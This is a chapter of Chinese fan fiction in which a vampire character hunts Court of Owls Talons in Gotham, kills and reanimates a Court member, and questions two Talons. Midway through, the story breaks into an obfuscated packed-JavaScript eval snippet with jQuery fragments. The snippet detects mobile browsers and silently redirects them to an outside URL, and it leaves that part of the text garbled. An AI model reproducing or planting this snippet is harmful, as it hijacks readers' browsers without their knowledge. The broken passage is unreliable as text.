在哥谭另一端的某条阴暗巷道里，两个幸存的利爪正如鬼魅般无声疾行，他们的速度远超常人，动作却带着一丝微不可查的僵硬——那是低温带来的后续影响，以及其中一个利爪背上那个微小追踪器持续发出的信号。


    他们并未察觉，一道比夜色更难以捕捉的影子，正以一种超乎寻常的方式追踪着他们。COSER如同液态黑暗，在高耸的哥特式建筑尖顶、狭窄的巷道阴影间肆意流动。没有声音，没有气息，仿佛他本身就是这座城市阴影的一部分。


    追踪持续了将近半小时，利爪们的路线迂回而隐蔽，最终抵达了哥谭老城边缘的一处偏僻庄园。这里围墙高耸，铁门紧闭，透着一种陈旧而封闭的腐朽气息，与市中心的光鲜亮丽格格不入。利爪轻易地翻越高墙，消失在庄园建筑的阴影里。


    COSER如同一片真正的羽毛，悄无声息地落在庄园前,抬头看了看，铭牌上写着“卡伯特庄园”。


    卡伯特？


    COSER低头想了想……


    哈哈哈，完全不认识呢。


    秉承着不认识角色就是背景板的朴素认知，COSER摇身一变，化作一只小小的蝙蝠毫无顾忌地飞入了庄园内。浓密的树叶完美遮掩了它的小身影，小蝙蝠飞过封锁迅速锁定了主宅二楼一个亮着灯的书房，贴附在别墅冰冷的外墙上，无声无息地注视着那扇透出光亮的维多利亚风格窗户。


    透过厚重的窗帘缝隙，室内的情景一览无余。


    一个穿着昂贵丝绸睡袍、身材发福、头发稀疏的中年男人正背对着窗户，焦躁地来回踱步。他的面前，赫然站着那两名刚刚返回的利爪，它们如同雕塑般静立，身上还带着夜间的寒气和战斗留下的污迹。


    “废物！一群彻头彻尾的废物！”男人猛地转身，对着利爪咆哮，他的脸因愤怒而扭曲涨红，“三个人！对付一个已经半死不活的阿卡姆骑士和一个只知道躲躲藏藏的蝙蝠！竟然还能失败？！还折损了一个！你们知道法庭培育一个利爪要耗费多少资源吗？！”


    利爪沉默地站立着，空洞的眼睛直视前方，对主人的怒吼没有任何反应，仿佛只是两件没有生命的工具。


    男人的怒火似乎因为得不到回应而更加旺盛，他抓起书桌上的一个沉重水晶烟灰缸，狠狠地砸向其中一个利爪！


    “砰！”烟灰缸砸在利爪的胸口，碎裂开来，烟灰沾满了那古老的战斗服。利爪的身体晃都没晃一下，仿佛被蚊子叮了一口。


    “都是你们的错！”男人指着它们的鼻子，将所有的失败和挫折都倾泻出来，“如果不是你们行动迟缓，效率低下，我们早就该拿下那个该死的骑士团了！早就该让那些不安分的渣滓知道谁才是哥谭真正的主人！而不是像现在这样，被韦恩家的那个草包花花公子用钱砸得束手束脚！”


    哦，看来果然是猫头鹰法庭的手笔。他怎么完全不意外呢？


    COSER静静附着在别墅灰黑的外墙上，漫不经心地看那个肥胖的法庭成员仍在喋喋不休地咆哮，将所有的失败归咎于沉默的利爪，


    就在这时，COSER敏锐的目光捕捉到了一个极其细微的异常。


    当那个男人抓起烟灰缸砸向其中一名利爪时，被砸中的利爪依旧如同死物般纹丝不动。然而，站在稍后位置的那名利爪那只自然下垂的食指极其轻微地抽搐了一下。


    幅度小到几乎不存在，仿佛只是肌肉无意识的痉挛。那个背对着窗户、沉浸在自己怒火中的男人毫无察觉。


    但COSER看到了。


    这就有趣了。


    非常有趣。


    COSER顿时放弃观察那个无能咆哮的胖子，决定先将这个奇怪的利爪搞到手。


    如同滑落的丝绸，COSER无声无息地从窗外落下，化作一只小蝙蝠，悄悄飞入了进入了别墅。他的行动没有发出任何声音，庄园内的防御系统在他面前形同虚设。穿过奢靡的走廊，飞跃描金嵌宝的门窗，小蝙蝠从门缝里滑入书房。


    房间内的男人还在对着利爪发脾气，甚至没有立刻察觉到房间里多了一个人：“一点点小事都办不好！还要我亲自来给你们擦屁股！如果因为你们的失败，导致法庭的计划暴露，你们承担得起这个责任吗？！你们这些没用的……”


    他的咆哮戛然而止。


    一只冰冷的手，如同从虚无中伸出，轻轻搭在了他汗湿油腻的后颈上。那触感不像人类的手，更像是一块拥有生命的寒冰。


    男人所有的声音都被掐死在了喉咙里，身体瞬间僵直，血液仿佛都冻结了。他能感觉到一股冰冷的气息吹拂在他的耳后。


    “我认为，”一个轻柔却毫无温度的声音轻轻响起，带着一丝慵懒的玩味，“这恐怕不是他们的错。”


    两名利爪的头颅极其轻微地转动了一个角度，空洞的目光聚焦在突然出现的入侵者身上。但他们没有动，因为他们的主人正被控制在对方手中。


    “你……你是谁？！”男人艰难地挤出声音，身体抖得像秋风中的落叶，“我、我可是西里尔·卡伯特！你想要什么？钱？我可以给你！很多钱！只要别伤害我！”


    “钱？”身后的声音轻笑一声，仿佛听到了一个幼稚的笑话，“那谁……哦，卡伯特，你浪费了一次机会，要想清楚再说。”


    冰冷的指尖微微收紧，卡伯特感到一阵窒息般的恐惧。“利…利爪！”他尖声叫道，像是抓住了救命稻草，“我把利爪给你！这两个！他们都是最精锐的战士！他们值很多钱！放过我！我还能把你引荐给猫头鹰法庭！你可以加入我们！我们可以一起掌控哥谭！”


    “哦？利爪？”身后的声音似乎提起了一点兴趣，“你能做他们的主吗？”


    “能！当然能！”卡伯特像是抓住了最后一根稻草，对着利爪嘶吼，“听见没有！你们以后就效忠这位……这位大人！快！见过你们的新主人！”


    两名利爪没有任何犹豫，仿佛只是执行了一道再普通不过的命令，同时单膝跪地，向着COSER的方向低下了头。


    COSER笑了起来，那笑声在奢华的书房里回荡，却带着一种令人毛骨悚然的愉悦。“你很会察言观色，”他对着几乎瘫软的卡伯特低语，“你成功讨好了我。所以，我投桃报李，给你……恩赐。”


    话音未落，卡伯特感到颈侧一阵冰凉的刺痛，随即是温热的液体喷涌而出的感觉。他惊恐地瞪大眼睛，徒劳地用手捂住脖子，鲜血却从他的指缝间不断涌出。他望向跪在地上的利爪，眼神里充满了哀求和解脱的希冀，但利爪们无动于衷，如同真正的死物。


    “你忘了？”COSER好整以暇地看着他生命飞速流逝，声音如同魔鬼的低语，“他们已经是我的了。”


    COSER一脚将男人的肥胖的身躯踢开，自己坐上那张华贵的椅子，看着卡伯特的鲜血在脚底蔓延成水泊。直到男人眼神涣散，濒临死亡，COSER才漫不经心地伸出手指，将自己的一滴血液弹到卡伯特的伤口上。


    强大的吸血鬼血液瞬间逆转了生死，将男人从死亡边缘拉回，他皮肤变得苍白，獠牙伸长到唇外，双瞳看不出丝毫理智，只剩下对鲜血的极度渴望充斥其中。它低着头，看着地上的血液，恨不得立刻扑上去！


    然而，上位血族强大的气息笼罩在头顶，压得它不敢抬头。


    “把你自己的血清理舔干净。”COSER伸出脚尖点了点地上的血泊，冷淡吩咐道。


    新生的血仆立刻匍匐在地，如同最虔诚的信徒，饥渴地舔舐干净地毯上自己先前溅出的每一滴血液。


    书房内弥漫着浓烈的血腥味和一种诡异的静谧。


    COSER似乎完全不受环境影响。他抬手，似乎觉得有些气闷，竟一把掀掉了自己那绘制着蝠翼的威尼斯面具，随手扔在一旁的书桌上，露出一张与迪克·格雷森别无二致、却毫无血色的英俊面庞。他深吸了几口气，像是挣脱了某种束缚，快乐地感叹道：“哈……这下舒服多了！”


    转头看向面前两名依旧俯首跪地的利爪，眼神里带着一种近乎孩童般的随意：“在自己房间里，可以稍微放松一下。”说着，他伸出手，动作自然地将两名利爪的猫头鹰面具也摘了下来，露出两张同样灰败、却隐约能看出不同神情的脸。一张是完全的茫然空洞，另一张则在空洞深处藏着一丝极难察觉的警惕。


    “好了，现在是面对面交流了。”感觉到自己说出了完美的双关语，COSER快乐大笑了几声，看着面前的两位利爪，歪了歪头，笑容灿烂地问：“你们怎么称呼？”


    一片沉默。


    利爪1的脸上只有纯粹的茫然，仿佛不理解“称呼”的含义。


    利爪2则垂着眼睑，同样沉默。


    “哦！”COSER恍然大悟般轻轻拍了下手，笑容不减，“是我疏忽了，应该先自我介绍。我是瑞秋·格雷，是路过此地的……嗯，意外来客。”他晃了晃手指，像是在思考措辞，“喜欢的东西是蝙蝠和小鸟，不喜欢的东西是坏人。将来的梦想嘛……”他做出憧憬的样子，“是亲朋好友在一起。兴趣爱好是创造一个好人能幸福的世界？大概就是这样吧~”


    他重新看向两位利爪，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358651|183424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身体微微前倾，语气充满了鼓励和期待：“好了，到你们了！来嘛来嘛，告诉我吧~”


    利爪1的嘴唇嗫嚅了一下，似乎在努力调动某个区域的内存，声音磕磕巴巴，极其缓慢：“名字是安珀·金，是……利爪……喜、喜欢……执行任务？不喜欢……任务失败。梦想……梦想……”他卡顿了很久，空洞的眼睛里似乎闪过一丝极微弱的波动，仿佛在无尽的黑暗中捕捉到了一个早已被遗忘的微弱光点，“……想……晒太阳……”声音轻得几乎听不见，随即又迅速回归固定程序，“兴趣……是为主人完成任务。”


    COSER脸上的笑容变得更加柔和，甚至带上了一丝奇异的怜爱。他走上前，双手轻轻捧起安珀的脸，仔细端详摩挲着，动作轻柔得像是在抚摸一条小狗。


    “啊，我明白了，”他的声音很轻，带着一种洞悉一切的了然，“你是犬系呀……”他血色的眼眸弯起，像两瓣新月，“这样的话，我给你一个任务，好不好？”


    安珀下意识地想要像以往那样低下头，用最顺从的姿态接受命令，但脸颊被COSER的手稳稳托住，不得不抬起，直视着那双近在咫尺的、含着笑意的血色瞳孔。他茫然的眼神配合着这个姿势，显得懵懂又有些可怜巴巴。


    COSER笑得越发开心，清晰地下达指令：“任务一：给自己做好维护，处理一下身上的伤。任务二：洗个热水澡。任务三：去找个你喜欢的地方，舒舒服服地睡一觉。任务四：明早八点……不，”他想了想，改口道，“还是九点吧，准时来向我报告。可以吗？”


    安珀的眼中闪过一丝不解，这和他过去接收到的所有“任务”都截然不同。但服从的本能压倒了一切。他回答：“遵……遵从您的命令。”


    COSER满意地松开手，轻轻摸了摸他的头顶，像夸奖一只完成指令的宠物：“好乖，好乖。去吧。”


    利爪1茫然地行了个礼，转身有些迟疑地、一步一顿地离开了书房，似乎还在处理那四个奇怪的“任务”。


    COSER目送他离开，然后才将目光转向一直沉默不语的林肯·马奇。


    “好了，”他的语气依旧轻松，但眼神里多了几分审视和了然，“轮到你了。”


    林肯·马奇沉默了片刻，用那种干涩的、试图模仿机械的声音回答：“林肯·马奇。是利爪。喜欢……执行……”


    他的话没能说完。COSER突然伸出手，指尖轻轻按在了他的嘴唇上，制止了他。


    “嘘……”COSER的声音低沉下来，带着一种不容置疑的穿透力，“好好想想，好好想想再开口。林肯，你和他不一样。”他的血眸紧紧锁住林肯试图闪躲的视线，“我从见你第一面就知道，你是特殊的。”


    他的声音变得更轻，像随风而动的套索，勒向林肯·马奇的脖颈：“我知道，你一定度过了很多很多艰难又小心翼翼的时光，才让那一点‘不一样’坚持到现在……你靠谨慎和伪装活到现在，你不确定是否要相信我，这很正常。”


    COSER的手缓缓放下，语气真诚而包容：“所以，没关系。我理解。在你愿意对我说真话之前，你可以不必回答我。我会一直等你的答案，林肯。”


    吸血鬼之王向前半步，几乎与林肯面颊相贴，冰冷的异香不断侵蚀林肯马奇的社交领域：“对我来说，你从来不是爪牙（利爪）。你是意外之喜，是上天给我的眷顾，是我的……鬼牌（Joker Card）。所以，不必着急，我会一直、一直等你的。”


    说罢，COSER松开了所有气势，仿佛又变回了那个随性的青年，他拍了拍林肯的肩膀：“好了，你也去休息吧。你的原主人……”他瞥了一眼那个正撅着屁股处理凶案现场的卡伯特先生，“……他现在智力还算不上残障，应该能处理好我身边的杂务。你不必再为他费心。”


    他转过身，似乎打算开始在书房里翻阅资料，毫不在意地踏过地上尚未完全干涸的暗色血泊。


    就在这时，一个声音从他身后传来，带着一丝不易察觉的艰涩和试探：


    “……我喜欢……”


    COSER的脚步顿住。


    林肯·马奇注视着他背影，仿佛用尽了力气，才继续说道：“……家人。”


    他站在那里，灰败的脸上似乎有了一丝极其微弱的、期盼的光彩，等待着某种回应。


    COSER缓缓回过头，脸上绽放出一个无比灿烂、几乎驱散了房间阴霾的笑容，血色的眼眸亮得惊人：


    “哦？”他的尾音愉悦地上扬，“你喜欢……‘新的’吗？”